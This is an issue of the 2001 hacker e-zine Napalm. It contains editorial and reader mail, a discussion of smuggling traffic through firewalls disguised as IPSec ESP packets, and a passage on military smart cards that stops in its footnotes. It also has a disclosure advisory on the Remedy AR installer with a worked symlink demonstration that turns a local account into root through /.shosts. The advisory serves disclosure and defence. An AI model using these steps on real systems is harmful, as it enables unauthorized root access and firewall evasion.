/\  /^/_ _ __  __ _|^|_ __ ___
          /  \/ / _` '_ \/ _` | | '_ ` _ \
         / /\  / (_| |_)  (_| | | | | | | |
        / /  \/ \__, .__/\__,_|_|_| |_| |_|
                   |_|

.                                 .                     . ..n11: 2001.07.16
---------------------------------------------------------------------------
all content copyright © 2001 by the individual authors. all rights reserved
---------------------------------------------------------------------------

# prtvtoc
. . . .....................................................................
0x00  Editor's Comments
0x01  Subscriber Emails
0x02  Security Holes in Remedy Client Installer
0x03  Multi-Technology Automated Reader Cards (MARC)
0x04  Chaffing as an Alternative to Encryption (Part II)
0x05  Music Reviews
0x06  Credits
..................................................................... . . .

___________________________________
--------------------------- - kynik
[=] 0x00: Editor's Comments

I have a gripe. Yep, you lucky readers get to hear it. It's about
plagiarism and partially about big business. To set the scene, I search
the web periodically for sites that use Napalm's material. They might have
either a mirror of some or all of our issues, or they have a single
article they found useful. 95% of the time, proper attribution is given,
either by posting the entire issue (with copyright notice at the top) or
by giving the author and/or Napalm credit somewhere. Sure, I've sent some
emails to people asking them to attribute the material they've taken from
Napalm to its rightful owner. And in every case so far, they've complied
and added a little note to the link or to the document. I'm perfectly cool
with that. Now, you wouldn't think that big businesses pay much attention
to this little zine or its contributors.

Echo8 recently sent an email out to a few of us, part of which follows:

  I found out today that Sun finally patched the hole I reported in Volume
  Manager last year (the article I submitted for Napalm 6). I also found
  out that their bug report basically ripped off my work, verbatim.

  The patches: 110029-02, 110032-02, 110030-02. These are available to the
  public at sunsolve.sun.com. Sun gives credit to Veritas for discovering
  the hole, which is complete bullshit.

  The bugid: 4345464. This is available only to those with Sunsolve
  logins. This is where they commit a fairly blatant act of plagiarism.
  They copied almost my entire write-up, exploit included.

I mean, come on, Sun...how hard is it to give credit to an independent
security researcher like echo8? It's a great de-motivator for him, I'm
sure. I sent them a comment through one of their online forms:

  The bug ID indicated by the URL above contains plagiarized and
  copyrighted material. Compare

    https://napalm.firest0rm.org/issue6.html#vvm

  with the content of the above page. You will see that the page at
  sunsolve is almost an exact copy of the article included in that issue
  of Napalm e-zine. As with every issue, there is a copyright notice which
  states that every article is the copyright of the individual authors, in
  this case, echo8. I will normally accept mirroring or use of material
  found in Napalm provided that we are A) given notice of the use and
  B) attributed in a clear way.

  I politely ask that you attribute discovery of this bug to echo8 and
  either link to Napalm or indicate which issue the article appeared in.

I don't think that was too much to ask, do you? Any commentary on this
would be greatly appreciated.

___________________________
---------------------------
[=] 0x01: Subscriber Emails

Brad Copely <bradcopely@yahoo.com> wrote:

My ISP uses a firewall (I'm assuming) to stop incoming
connection attempts to my computer. Is there any way
to get around, or at least explore this problem?  I'm
on a cable network in Japan.

[ If you can determine the ports that they're blocking, you can certainly
  run your services on non-standard ports. Your webserver could run on
  port 8888, your ftp on 2121 and so on. If you have any firewall software
  on your computer (BlackIce Defender for Windows, ipf/ipchains for the
  *nixes), get on a host outside your network and portscan yourself. Look
  back at your logs and see which ports weren't let through. {kynik}]

-----------------------------------------------------------------

Kyle Amon <amonk@gnutec.com> wrote:

Nice to see some pretty real shit pop up now and again.
Keep up the good work.

-- Kyle

[ We do appreciate your comments, Kyle, thanks! {kynik} ]

-----------------------------------------------------------------

Monkey Boy <monkey-boy@biteme.com> wrote:

Kynik,
Just read issue 10, top stuff as usual (especially the chaffing thing,
interesting idea...look forward to your code)... but what happened? You
said you were gonna include my comments on the IPSec covert thing (see
below)... where are they? i wanna be famous, dammit! ;o)

keep up the good work
peace
Monkey-Boy (uk)

[ Yep, that was my mistake...I lost track of some of the commentary
  monkey-boy had, but I'll add that in now. Hopefully this clears up some
  questions that you may have had {kynik} ]

>   It wasn't my article, but I'll be happy to try and clarify. I'm also
>   including this in the next issue, if you don't mind. I've cc'd ajax, the
>   author of the article on this as well.
>
>   On Wed, 7 Feb 2001, Monkey Boy wrote:
>
>>>  re:IPSEC/ESP covert channel (issue 9)...
>>>
>>> as usual another interesting article, just a few questions tho'...
>>>
>>> (i'm relatively new to this security lark, so let me off if i've made
>>> some huge error ;-)
>>>
>>> you admit that the host inside the firewall will need to have been
>>> compromised, and if this is the case could you not just send your data
>>> (that you want to get into their network) via a normal IPSEC packet
>>> configuration? (we already know the firewall will let this through, as
>>> this is the 'hole' you are exploiting). Admittedly this means that
>>> SA's would be visible on the compromised machine...
>>
>> This is what he was proposing, as far as I can see. Remember what ajax
>> said at the beginning of the article:
>>
>> ]IPSEC is not a protocol. IPSEC is a big towering ugly wump of
>> ]protocols, all residing at various levels in the ISO model. Among them
>> ]are ESP and AH, which kinda live in the transport layer; and ISAKMP,
>>
>> He's using ESP packets to bypass the filtering on the firewall. And since
>> they're encrypted (supposedly), the firewall can't do anything anyways.

See, what I thought he was trying to do was to get a packet that *looked*
like it was an encrypted ESP packet (though it is in fact a cleartext
packet, that looks like ESP) through the firewall, and my point was if
you are being this sneaky why not just actually use a 'real' IPSEC tunnel
to the compromised host (if the firewall is letting through ESP, it
follows it should be allowing the rest of IPSEC through, non?)... As i
said guess it just means you can cut down on SA setup overhead traffic
(though would you not need to have a shared key to allow the ESP
encrypt/decrypt to work, if (as you  assume) the packet is actually ESP'd
(and not a cleartext that *looks* like ESP, as i assume)?

[ I don't think I was totally clear on this, but you got the right message
  anyways. The packets we're sending out don't _have_ to be actually 
  valid, encrypted ESP packets. Sure, they could, but that's probably 
  more trouble than it's worth. If you wanted some sort of encryption, 
  you could roll your own, too. It doesn't matter to the firewall. It 
  just assumes that since ESP packets are _supposed_ to be encrypted, 
  trying to filter ANYTHING that looks like an ESP packet is a waste of 
  time. Thus the tunnel. {kynik} ]

>>> If you use your exploit, will the compromised host not think that the
>>> covert channel packet it has received is an ESP packet and try and
>>> decrypt it, and fail, therefore setting off alarms/debug messages?
>>> (similarly if the firewall is only letting IPSEC/ESP packets through to a
>>> VPN device to decrypt, will this VPN device not try & decrypt (and fail
>>> as before) before dumping the packets out to your compromised host?
>>
>> No, because you've modified the host to accept these ESP packets as a
>> wrapper, strip off the wrapping and pass the traffic to the TCP/IP stack.
>> If the host actually relies on ESP packets getting to it, you could
>> probably modify the code that handles that and be able to set a flag that
>> would distinguish legitimate IPSEC from tunnelled traffic. If you have a
>> dedicated VPN device inside your firewall, it won't notice the packets
>> unless they're addressed to it. Assuming we have a separate host from the
>> VPN appliance, we're banking that the firewall is misconfigured (aren't
>> they always?!) and that it'll let through ESP to anything on the local
>> network. The firewall could be set up to only allow incoming ESP traffic
>> to the VPN appliance, in which case we're foiled.

Guess it was just wishful thinking that *all* firewalls would be
configured to only let IPSEC/ESP through to the appropriate place (i.e.
the VPN device or a host doing IPSEC)... living in a dream world again ;-)

Would be interested to hear what ajax has to say; over to you, my friend

[ Me too. He stayed totally silent when this email exchange went on. Care
  to enlighten us, ajax? {kynik} ]

___________________________________________________________
--------------------------------------------------- - echo8
[=] 0x02: Security Holes in Remedy Client Installer

Summary
-------

Due to improper handling of temporary files, the installer program for
Remedy Software's Action Request System client for unix can allow local
users to gain root privileges.

Details
-------

The installer script for the unix AR clients (ar_install) uses files with
predictable names in world-writeable locations to store temporary files
and logging information. The code does not check to see if the files exist
before writing to them, or if the files are symbolic links to something
else. A local user can exploit this (by symbolically linking the target
files to something else ahead of time) to create or overwrite files
anywhere on the system. If the AR client is installed as root, this type
of attack can be used by unprivileged users to gain root access under the
right circumstances (eg. a local user knows that the AR client will be
installed on a system in the near future).

There are several instances of this problem in ar_install. A few examples:

# Name of the file to record a log of the installation into
#
LOGFILE="/usr/tmp/arClient_install.log"

...

############################################
# lecho - Logged echo to stdout
#     Arg 0 to N = Data to be echoed
############################################
lecho()
{
    echo "$@" >> $LOGFILE
    echo "$@"
}

The lecho function is then frequently used to write logging data to
$LOGFILE.

Another example:

#
# Test if "ex -" has any problem on this machine. If there is, use "ex"
#
echo "$PROD" > /tmp/ex.test
ex - /tmp/ex.test << EOF
/$PROD/
s/$PROD/$PROD_LONG/
w!
q
EOF
RET=$?
RES=`cat /tmp/ex.test`
if [ \( $RET -eq 0 \) -a \( "$RES" = "$PROD_LONG" \) ]
then
   EX="ex -"
else
 EX="ex"
fi

Demonstration
-------------

$ hostname
brokenhost
$ id
uid=5000(foo) gid=20(users)
$ ln -s /.shosts /var/tmp/arClient_install.log
$ ls -alt /var/tmp/arClient_install.log
lrwxrwxrwx   1 foo      users             8 Apr 12 14:57
/var/tmp/arClient_install.log -> /.shosts

...wait for root to run ar_install...

$ ls -alt /.shosts
-rw-rw-rw-   1 root     other      50873 Apr 12 14:58 /.shosts
$ cat > /.shosts
brokenhost foo
^D
$ ssh -l root brokenhost
Last login: Thu Apr 12 14:50:30 from someotherhost
Sun Microsystems Inc.  SunOS 5.6       Generic August 1997
brokenhost # id
uid=0(root) gid=1(other)
brokenhost #

Vulnerable Versions
-------------------

I have tested this on Solaris 2.6 and 8, using the installer for AR 4.5.1.

The installers for the other supported unix versions (Irix, AIX, HP/UX and
NCR System 3000) contain similar issues, so it's likely that they are
vulnerable as well. The older versions of AR that are available for some
platforms (3.2.1) use a different install script. That script uses
different filenames, but appears to have similar flaws.

Workaround
----------

If the AR client is being installed on a single-user workstation, it can
be installed as a non-root user (this is not the default, but the
documentation explains how to do it).

If the AR client must be installed as root, ar_install can be trivially
modified to avoid using a world-readable/writeable space to store its
temporary files.

Vendor Notification
-------------------

The vendor was notified on 4/13/2001.


Copyright 4/12/2001, by echo8

________________________________________________________________
------------------------------------------------------- - _azure
[=] 0x03: Multi-Technology Automated Reader Cards (MARC)

Common Access Cards (CAC)/Multi-Technology Automated Reader Cards (MARC)

/Introductions and Explanations

  I first heard about the MARC card some time in 1996 via a United States
Navy website. The information was passed to me by the non-religious
progeny of a local Mennonite family. MARC was already a functioning beta
program at that time. The website where I gleaned my initial information
is no longer accessible to the public. However, the Department of Defense
has continued to develop the program over the course of the last few
years.

  During this interim, the project has metamorphized somewhat. Currently,
MARC has been renamed to SMART. The card itself has been re-christened
as the Common Access Card (CAC). Other cards/systems have been tested
and are also functioning to similar results (and in general, accolades
from the military community). A transformation is occurring in the way
our government tracks and deploys its considerable resources. This
article aims to provide an overview of different smart card technologies
and some of their various physical specifications. I will also provide a
brief timeline outlining the development cycle of several different
systems, and their integration into military life. Most of this
information is cobbled together from various sources (official .gov and
.mil sites), and portions of this article are lifted verbatim from those
sources. References are provided at the end of the article.


/Types

_/MARC

  The Multi-Technology Automated Reader Card (MARC) project was initiated
in response to a proliferation of single use, updatable technology
programs throughout the Department of Defense. The MARC project evaluates
the concept of providing a multi-functional, cross-service utility card
capable of satisfying multiple requirements within the DOD for a portable
updatable medium. The MARC test program moves the DOD toward a "one card
per soldier" concept for portable data carriers.

  The MARC is an individually carried smart card that has several media:
a standard 3 of 9 bar code, magnetic stripe, embossed data, printed
information (including a digital photograph), and an Integrated Circuit
(IC) computer chip.
  The combination of several media on one credit card-sized device gives
the MARC its versatility: it can interface with a variety of technologies
and systems, from rudimentary imprinting machines to computer systems
that use IC chips as data carriers.

  The MARC Card consists of a Datacard Corporation MIC-1600 ICC card
containing a 2K byte reusable (EEPROM) memory and microprocessor chip, a
three-track magnetic stripe, a 3 of 9 bar code and various embossed data,
including the holder's photograph. The card is a standard, CR-80 size
plastic card that conforms with ISO 7816/1. The microprocessor contains a
Smart Card Operating System (SCOS) used to organize the MARC data into
files and protect them from unathorized access. The MARC connects to
various smart card readers through metallic contacts on the face of the
card which are compatible with ISO 7816/2 specifications. Data on the
card is accessed through a Smart Card User Interface (SCUI) which, in
conjunction with the SCOS security features, controls all access to the
MARC data and security features in a flexible, controlled manner.
Additional technologies, including the use of holograms, laminiated
photos, and the Portable Data File (PDF-417) two-dimensional bar code,
are being considered.

---/Smart Card Operating System (SCOS)

  The MARC smart card contains a SCOS from Datacard Corporation under a
licensing agreement with Personal Computer Card Corporation (Pc3). The
SCOS provides a high level command language that supports data structures
and access to files and records. Password keys are assigned to control
reading and writing of individual data elements and sets.

---/Smart Card User Interface (SCUI)

  The SCUI provides a standardized, but highly flexible and tailorable
interface between the application and the data on the MARC. A tailored
card for each individual application provides the necessary structure and
security information to allow the application to access the MARC data
without the possibility of affecting other applications' data.

---/Security

  Files are protected from unauthorized access by requiring that one or
more password keys be submitted to the ICC. Incorrect key submissions
lock access to all files protected by the key until it is submitted
correctly. For security reasons, only correct key submissions are
confirmed. Eight successive incorrect key submissions permanently locks
the card. To ensure the MARC cardholder controls and is aware of all data
written, the individual is required to submit his or her Personal
Identification Number (PIN) before any data (with the exception of field
medical treatment data) can be written to the ICC.

---/Communications Protocol

  Communication with the microprocessor module is based on the protocol
defined in ISO 7816/3. Full ISO compatible (t=0) protocol is supported.

_//Technical Specifications

---/Microprocessor

        62C580
        3.57MHz clock
        4.50 - 5.50v, 10ms
        Reset duration 10ms
        
---/Serial Input/Output

        9600bps asynchronous, 8 bit data
        ISO (t=0) and Pc3 protocols
        Transmit turnaround delay: 5ms
        Line timeout: 1.0 seconds
        Reset response: conforms to ISO 7816/3
        Response delay < 10ms

---/Keys

        Issuer, PIN, and 8 application keys
        1-8 characters
        8 retries
        
---/Memory

        1920 bytes data and File Descriptor Table storage
        64 data files maximum
        256 bytes per record
        10,000 erasures
        
---/Physical Characteristics

        86mm x 54mm x .84mm
        ISO 7816/2 standard contacts
        10,000 insertion cycles / 10 year data retention

---/Environment
        
        0 to 70 degrees centigrade operating
        -40 to 125 degrees centigrade storage
        30 to 80% non-condensing operating
        5 to 95% non-condensing storage


_/AMS Optical Memory Card
        
  The AMS is a user-friendly software package designed to operate at
different supply points: the depot, central receiving/shipping points
(CRSPs), and supply support activities (SSAs). Each of these operations
has similar equipment and software packages that complement the other,
making them compatible. The AMS hardware consists of an IBM-compatible
personal computer, optical memory card reader/writer, bar code reader
(BCR), radio frequency tag, tag docking station, and printer. The AMS
system outputs several different products such as scannable bar code
labels, radio frequency tags, and optical memory cards. The AMS is
currently a stand-alone system that is being incorporated into the
Standard Army Retail System-Objective (SARSS-O) used at the direct
support unit. The AMS is an efficient, cost-effective and compact
shipping manifest and database management system that will expedite
receipt processing when used properly.

  The need for AMS arose during evalutaions of the logistical problems
during _Operation Desert Shield/Storm_ in the early 1990s. Supplies were
inadequately manifested. Storage sites had no access or visibility. No
inventory control procedures existed. All these logistical problems led
to major accountability problems. The General Accounting Office (GAO)
cited these accountability problems as the main reason for poor supply
distribution and excessive costs. The Defense Logistics Agency (DLA) then
began a research that developed the AMS.

  The AMS's key component for reducing receipt processing is the optical
memory card. The size of a typical credit card, the optical memory card
provides detailed information on the contents of each multipack or
containerized shipment. Each card accompanies its multipack or container
to its final destination.

  The optical memory card accesses and updates the SARSS database, which
results in the immediate search and retrieval of high-priority items.
The AMS, and specifically the optical memory card, are designed to
interface with all the military services' retail supply systems. This
interface enables asset visibility, expedites receipt confirmation,
automates the reconciliation process, gives automated reports of
discrepancy, and creates issue and packing lists for supported customers.

  The laser optical memory card has many advantages. The optical memory
card can store 2.5 million bytes of information (approximately 1,200
pages of hard copy). It costs only $4.00 per card. Very resilient, the
optical memory card can withstand temperatures from -40 to +212 degrees
Fahrenheit. In addition, it is not affected by severe weather, water or
shock damage. The optical memory card also has a protective coating that
shields it from magnetic fields, electrostatic, and radio frequency
interference.

  The optical memory card allows a database to prioritize offloading and
issue, which gets high-priority supplies to the unit quicker. This system
will eliminate the backlog of processing shipments. Before the AMS, 40
personnel worked three shifts to receive and process receipts from a
standard shipment. With the introduction of AMS, four soldiers can
complete the same tasks in a single shift.


/History

_/Timeline

  The following is a brief overview of smart card deployment throughout
the last several years. Source material is footnoted where appropriate.


_//1993
        
---/November

  - MARC testing begins at Fort Bragg, NC. The cards' success at the
    initial site led to further testing in Hawaii.


_//1994

---/February

  - Initial MARC test at Fort Bragg, NC and Hawaii ends.

---/August

  - 25th Infantry Division (Light) US Pacific Command (PACOM), Hawaii,
    begin participating in the MARC test.

    Hardware and software is installed and food service personnel and
    Personnel Administration Center (PAC) staff are trained on the new
    equipment and procedures.

    Information Technology Solutions, Inc., of Petersburg, Virginia,
    under contract with the product manager for the Army Food Management
    Information System (PM AFMIS), trains 90 food service workers from 12
    dining facilities and 37 PAC employees.

    The headcounters at each dining facility serve as the main testers of
    AHC. They operate a handheld computer called a Portable Data
    Collection Device (PDCD), a commercial off-the-shelf item made by
    Telxon, Inc. Diners hand their MARC to the headcounter, who verifies
    the holder's photo on the card and scans it through the PDCD.

    The PDCD reads each diner's status and MEC to determine the correct
    cost of the meal. The basic information recorded by the PDCD includes
    the first five characters of the diner's last name, the diner's
    social security number, meal type, payment method, and amount paid.
    Recording these data electronically eliminates the need to collect
    signatures from MARC holders at the headcount station and reduces the
    paperwork required to collect headcount data.

    The PDCD keeps an up-to-the-minute record of diners served and cash
    collected. It also compiles summary information that speeds up
    post-meal accounting.

    The PDCD transmits data collected to the AFMIS 3B2 minicomputer after
    each meal. However, the PDCD has sufficient memory capacity to store
    information on multiple meals should the AFMIS system be inaccessible
    or inoperable.

    Automated Head Count (AHC) gives the BAS diner the option of paying
    for his meal with cash or by payroll deduction. If the diner chooses
    the payroll deduction option, the headcounter hands the diner the
    PDCD, and the diner enters a four-character personal identification
    number (similar to a transaction at a bank's automated teller
    machine). Payroll deduction data are sent through the Defense Data
    Network to the Defense Finance and Accounting Service for entry into
    the Defense Joint Military Pay System.

    Payroll deductions posted before the 15th of the month appear on that
    month's Leave and Earnings Statement (LES). Payroll deductions made
    after the 15th of the month appear on the next month's LES.

    - MARC has already been issued to soldiers stations at Fort Shafter,
      Oahu and marines at Marine Corps Base, Kaneohe Bay. [a]

---/October

  - MARC is distributed throughout the 25th Infantry Division (Light), US
    Army Hawaii (USARHAW), 45th Support Group and the 703d Military
    Intelligence Brigade.


_//1995

---/January

  - AHC prototype test at Schofield Barracks, Hawaii.
  - MARC is put to the "real test" during the deployment of 3,600
    soldiers from the 25th Infantry Division to _Operation Uphold
    Democracy_ in Haiti. The card accounts for personnel readiness by
    updating and processing key information to the MARC during the
    Preparation for Overseas Movement (POM). Based on 25th Infantry
    Division requirementns, the MARC program produces two spin-off cards
    for issuing in Haiti. The first is an access control card for local
    national employees and the second an access control card for secure
    areas. After the success of the MARC during _Operation Uphold
    Democracy_, Marine Forces-Pacific requests inclusion in the MARC test
    bed.

---/September

  - The card is issued to all Marines in Hawaii. The US Marine Corps
    modifies the MARC to serve as a field training record and shipboard
    accountability card, in addition to the card's basic design.


_//1996

  - The Clinger-Cohen Management Reform Act of 1996 (Section E of Public
    Law 104-106) is passed. [b]

---/April

  - The 77th Maintenance Company's Class IX (repair parts) SSA, operating
    out of Camp Tampa, Bosnia, is fielded the AMS. The AMS's ability to
    use the optical manifest card to batch process incoming shipments
    from the depot cut the time that parts spent in the receiving section
    of the warehouse in half, saving about 80 manhours of work per week.

  - Approximately 18,000 25th soldiers asssigned to the Hawaii units
    participate in a prototype test of AHC in which they used the MARC as
    a substitute for the regular meal card.

---/July

  - Fort Hood, Texas, July 15, Staff Sgt. Joseph K. George of 2nd
    Platoon, 4th Military Police Company, 4th Infantry Division, was one
    of the first soldiers to get his hands on the hand-held data entry
    device for the MARC system. He puts the unit through extensive
    durability and temperature tests. [c]

---/October     

  - DOD funding for the two-year Hawaii MARC card test ends. After the
    success of MARC, the commander of the 25th Infantry Division and
    USARHAW decides to continue the program throughout FY97 for division
    and USARHAW units. The 25th Infantry Division and USARHAW food
    service chief says the MARC in the dining facility was a success and
    the Army needs to keep the card. The MARC ends all paperwork
    associated with the meal cards. Also, the card is needed for
    deployments to update soldier information during predeployment POM.
    The only consequence to units that decide to use the MARC is funding.
    The cards are funded internally. Continued funding for the project
    beyond FY97 is uncertain. Efforts continue to secure funding to
    expand the MARC program Armywide in FY98.


_//1997

---/July

  - Floor Statement by U.S. Senator Charles S. Robb (D- Va.) proposes $36
    million in funding for FY98 to expand the MARC program. [d]

---/September

  - Sen. Charles S. Robb votes in favor of the Fiscal Year 1998 Defense
    Appropriations bill. The measure passes the Senate by a vote of 93-5.
    [e]


_//1998

---/April

  - Army begins issuing 18,750 smart cards to to basic training recruits
    at Fort Sill, Okla., as part of a year-long pilot program.
  - On April 6, the United Press International reports recruits will use
    the cards to buy toiletries, clothing and stamps, get haircuts and
    make telephone calls during basic training. It also states that a
    lost smart card "can be easily replaced and because each card is keyed
    to a recruit's fingerprint, it cannot be used by others." The article
    reports that the $4 million smart card pilot program is a joint
    project of the Army, the Treasury Department, Mellon Bank, the
    Defense Finance and Accounting Service, and the Army and Air Force
    Exchange Service.
  - Defense Finance and Accounting Service spokesperson Fran Gurka, who
    is coordinating the smart card program, says: "The card offers a
    sense of security not available with cash. When recruits were paid in
    cash, if they lost it, tough luck." [f]

---/August

  - Approximately 4,200 multi-technology smart cards are issued to all
    cadets at the USAF Academy.

    The Gemplus 4K MPCOS-EMV card was issued with 3-G International's
    Multi-Application Reader Card (MARC) architecture and Smart Card User
    Interface (SCUI). This smart card's initial application is Product
    Technologies, Inc.'s SmartCity electronic purse. The e-purse can be
    used at the washers and dryers in the laundromats, to make copies in
    the library, and to purchase snacks. Other point of sale locations
    are being added. Disposable stored value smart cards are also
    available for purchase by USAFA employees and faculty. Additional
    smart card applications will be added in the near future. For
    example: room access control, medical, manifesting, and training
    qualifications and test dates.


_//1999

  - The Paperwork Elimination Act of 1999 (Public Law 105-277) is passed.
    [g]

---/April

  -  On April 2, 1999, the Undersecretary of the Navy designates the
     Department of the Navy Chief Information Officer (DON CIO) as the
     DON lead for Smart Card Technology by memorandum directive. [h]

---/May

  - A Smart Card Office is chartered on May 24, 1999 to provide focus and
    management for Smart Card efforts within the Department of Navy. [i]

  - The Smart Card Program at NTC Great Lakes (Department of Navy) is in
    full swing. Applications in use include: Electronic funds, Drug Test
    Management, Joint Food Service (automated dinner check-in), Smart
    Immune (storage of immunization records), and Smart Dental (storage
    of dental records).

    Also under developmnent at NTC Great Lakes is Care Central/TRI-MEP.
    This application will enhance the special physical exam process by
    providing the capability to automatically populate physical exam
    forms and download patient care to the Biomedical Databank. Web
    development of the application is planned.

    Card printing and issue at Great Lakes is the task of the local
    Defense Automated Printing Office (DAPS). Every recruit reporting to
    Great Lakes receives two smart cards: one temporary card and one
    permanent card. The temporary card is issued the day of arrival and
    is formatted to allow the use of a purse application. The purse
    function, administered by the Navy Exchange, allows the recruit to
    purchase required and personal items while undergoing training and
    replaces a World War II process of using "chit" books. Medical and
    dental information is also written to the card. Near the end of
    recruit training, each recruit cashes in any remaining funds on the
    temporary card. All demographic, medical and dental information is
    transferred to a permanent smart card that also displays a photograph
    of the individual. The recruit takes this permanent card to his/her
    next duty station and the temporary card is reformatted and reused.
    [j]

  - Similar programs are deployed at Pensacola, FCTC\NAS Oceana, Atlantic
    Fleet Ships/Norfolk, and NMCB Miramar by the Department of Navy.

---/November

  - The Deputy Secretary of Defense makes the decision to institute a
    Department of Defense-wide "Common Access Card (CAC)" as the
    replacement for the existing military identification card. The Army
    will adapt this card as its standard military identification. CAC
    superceeds MARC as 'the' reference to the smart card within the U.S.
    government. [k]


_//2000

  - The use of smart cards has become a priority within the Department of
    Defense (DOD). Public Law 106-65, National Defense Authorization Act
    for Fiscal Year 2000, directs the Army to establish a project office
    to cooperate with the Department of the Navy to develop plans for
    exploiting smart card technology as a means for enhancing readiness
    and improving business processes throughout the military departments.
    The Deputy Secretary of Defense's (DEPSECDEF) 10 November 1999 Smart
    Card Adoption and Implementation Memorandum mandated the
    implementation of the CAC, which will serve as the Standard ID card
    for active-duty military personnel (including the Selected Reserve),
    DOD civilian employees, and eligible contractor personnel; Principal
    card used to enable physical access to buildings and controlled
    spaces; Principal card used to enable computer network and system
    access; and Primary platform for the PKI authentication token. The
    Army sees participation in the development and deployment of this CAC
    as an opportunity to respond to the DEPSECDEF memorandum and support
    the Army EC mission. [l]

  - DOD Public Key Infrastructure (PKI) mandates that all active duty,
    selected reservists, civil service and on-site contractors begin
    using digital certificates by end of FY2001. The CAC card is the
    hardware token for PKI digital certificates.

---/October

  - Fort Eustis, Va., U.S. Army Europe in Heidelberg, Germany, and
    Yongson Army Garrison, Korea begin a Beta Test of the CAC. [m]

---/December

  - The Army interim policy messages for the CAC/SMART Card PKI are made
    official. General Cuviello signs the messages on 6 December 2000. [n]


_/The Future

  This technology is intended to eventually enter the civillian world as
an identification system. Meant to replace current 'multi-card' systems
and represent a single identification point, MARC (now CAC) will
revolutionize the way Americans authenticate transactions and conduct
business. The ramifications on privacy should be evident. Where will this
'centralized' data be stored, and how/by whom will it be protected?
Beyond concerns of legitimate data warehousing, the question begs to be
asked: Under what authority is this mandatory tracking system being
implemented? Will the CAC replace the state-issued driver's license as
our primary means of identification? Will an option be provided to 'opt
out' of a system with questionable guarantees for personal security? What
organizations will be allowed to gather and traffic in smart card data?

  With a centralized means of authentication for practically *all*
societal functions, what happens when a smart card is compromised?

  Debate over this topic may not reach the mainstream until cards begin
being issued en masse, and the first cases of MARC/CAC fraud are exposed.
However, with current advertising campaigns promoting the smart card
'idea' (MasterCard and Visa are pioneering this sales pitch), mass
implementation may in fact be *demanded* by the populace as a protection
against online crime. Already, the playing field for this battle is being
defined through television commercials and 'newly exposed' weaknesses in
tradtional identification techniques. Little information is being
presented concerning what measures will be taken to insure the integrity
of the 'data keepers'.

_//Projected Uses for MARC Techology

---/Full Military Deployment

  LCDR Tony Smith, Pacific Fleet MARC/CAC program manager, says the
military plans to fully implement the MARC/CAC Program by Fiscal Year
2001 to all active-duty service members, DOD civilians, retirees,
reservists, family members, the Department of Veterans Affairs and the
Coast Guard.

---/Social Security

  The Social Security Administration is already investigating methods of
integrating biometric identification into its existing fraud prevention
and detection programs. Initiatives requiring enhanced 'methods' of
tracking beneficiaries have already crept onto the books. MARC/CAC will
represent a decisive solution to the perceived dilemma. [o]

---/Immunization Tracking

  As demonstrated by the military, medical and dental histories can be
tracked effectively with smart card technology. Future privacy
initiatives instigated by Capitol Hill will require a secure method of
identifying patients, and reliably storing confidential information.

  'Of course, when "the military experienced delays in troop deployments
because personnel records (such as training completed, immunizations)
were not up-to-date and readily available" during the Gulf War, the
Pentagon created a MARC card.'  [p]


/Summary
        
_/Pros

  The use of smart cards can save millions of dollars formerly allocated
for paperwork and storage, not to mention staff who are charged with
keeping track of all the paper. Speed of data storage and recovery are
increased, and inaccurate record-keeping previously attributed to human
error can be significantly reduced. The elimination of a physical 'paper
trail' saves on storage costs and reduces the likelihood of accidentally
misplacing or destroying data.

_/Cons

  Loss of privacy. Reliance on the "computers don't make mistakes"
syndrome. Whereas paper records stored in disparate locations require a
fair amount of legwork to alter/tamper with, digital records can and will
be altered remotely by individuals or groups who need not ever come in
physical contact with their targets. Digital investigators need not risk
the face-to-face interaction often required to retrieve such information
in today's multi-card world. The advent of the 'paperless permanent
record' adds a new dimension to information-warfare tactics and strategy.
It has not yet been demonstrated that digital identification can be better
protected than its physical-world counterpart.

---/Citizen Protest

  It may be prudent to note that 'MARC' probably wasn't the wisest choice
of acronyms for this project. Certain elements within American society
will no doubt draw parallels between the program name (or its stated
goals) and motifs drawn from their own tradtional legends and cultural
backgrounds (this may actually have been what led to the project's
eventual name-change in the late 1990s). Indeed, religious groups have
latched onto the issue with a vengeance. Specification information on the
original MARC program circulated widely on the Internet in 1996,
triggering the (almost immediate) emergence of protest websites and
notices on the World Wide Web. Here are two examples of religious
(Protestant Christian) objections to the program:

    https://www.endtimeprophecy.net/~tttbbs/EPN-2/Articles/Articles- \
    Mark/marccard.html

    https://www.google.com/search?q=cache:www.yellowstoneinfo.com/ \
    biochips.htm+charles+robb+MARC+card&hl=en

[ Unfortunately, both of these URLs are invalid by now, since _azure did 
  write this article several months before it got to me, and I took my 
  time with it too. 
  https://www.endtimeprophecy.net/~tttbbs/EPN-2/GroupPages/grupmrk1.html
  is the closest thing I could find to the first one, but no sign of the 
  MARC article. Google's cache of the other page has long since expired 
  and yellowstoneinfo.com says very plainly on its main page that it has 
  closed. So much for Internet references. {kynik}]

  On the other hand, the 'MARC' acronymn may have been chosen for just
this reason. Psychological Warfare Operations (PSY-OPS) are known to
sometimes coincide with (and co-exist within) legitimate government
projects. Whatever the case, religious organizations 'bit', and
speculation quickly ran rampant. Anti-MARC sentiment spread amongst
like-minded groups on the Internet like wildfire.

  Curiously, most organized dissention seems to have dissipated rapidly
when the program underwent its name change. However, goals and methods
of the operation have remained consistent with the earliest documented
efforts I have uncovered.


/Editorial

  Smart card technology is here to stay (as much as *anything* ever truly
'stays'). Successful test runs throughout the 1990vs proved that
electronic tracking of human and material resources greatly improves the
efficiency of logistical planning and personnel management. Programs to
integrate smart cards into civilian life are already being implemented
nationwide. As more and more Americans rush to get online, the
digitization of personal information and identification will continue to
escalate until smart cards are considered a 'normal' tool for performing
daily tasks. It is anticpated that future e-commerce systems will take
advantage of the convenience and security (sic) that smart card
authentication bring to the table. Time will tell if this reliance will
prove to be a solid foundation for real-world transactions.

  As smart card technology spreads into general use by society at large,
the effects of computerization will become apparent to both proponents
and detractors. The issues that are examined at this time may prove to be
some of the most important factors for the future of privacy and autonomy
in the United States of the 21st Century. A large struggle looms over the
horizon for control of the personal data that defines us as human beings.
In our modern information-based economy, such personal data takes on a
significant dollar value as well as enriching our understanding of
ourselves and those around us. Without careful safeguards on the
confidentiality and integrity of this data, Americans may well find
themselves little more than beasts of burden on the battlefield of the
market economy.

  It is imperative that issues of privacy and security be addressed as
these technologies become more prevalant in day-to-day life. It is up to
us to bring these decisions into the forefront of the public
consciousness before it is too late.

  40 acres and a mule.


/Closing

_/Footnotes

    [a] https://www.chinfo.navy.mil/navpalib/news/navnews/nns96/ \
        nns96019.txt
    [b] https://www.rdc.noaa.gov/~irm/div-e.htm
    [c] https://www.dtic.mil/armylink/news/Jul1996/a19960715force2.htm
